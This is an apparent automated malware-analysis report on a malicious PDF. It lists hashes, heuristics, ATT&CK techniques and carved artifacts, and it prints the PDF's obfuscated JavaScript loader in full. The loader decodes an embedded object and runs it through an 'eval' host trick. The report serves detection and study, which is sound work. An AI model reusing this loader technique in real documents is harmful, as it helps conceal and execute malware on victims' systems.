PDF malware analysis — malicious · 37269041ec6cc42d

MALICIOUS

PDF

5.1 KB First seen: 2026-05-08

MD5: 8101edc3473b87443d4d7dc88bf3db44 SHA-1: 31bd6d039efe0d2dbf513bafe2875244bd2e57c5 SHA-256: 37269041ec6cc42d862eecdf6175ac2c0a3e0cde4e1fe5cd026b94bea865eaa6

76 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript and an embedded binary file. The JavaScript stream is likely responsible for executing or extracting the embedded file, which is a common technique for delivering second-stage malware. The heuristics indicate suspicious JavaScript actions and embedded files, supporting this assessment.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 5

Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH

A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded file low PDF_EMBEDDED

PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_file_obj0013.bin`	pdf-embedded-file	PDF EmbeddedFile object 13 at offset 0x425	108137 bytes
SHA-256: `9d598e48aedf3b509def8b006f6f57c85c3a1a2c38f2866dac2e30cffb90e179`
Detection ClamAV: No threats found Obfuscation or payload: likely 255 of 255 identifiers look randomly generated (e.g. 'l4zMshFmN7esbqjr1l4zMshFmN7esbqjr2l4zMsh') — consistent with name-mangling obfuscation. Carved artifact contains 97 long base64-like blob(s).
`javascript_obj0008_000.js`	pdf-javascript-stream	PDF /JS object 8 at offset 0x1ED	230 bytes
SHA-256: `30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e`
Preview script First 1,000 lines of the extracted script zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){ zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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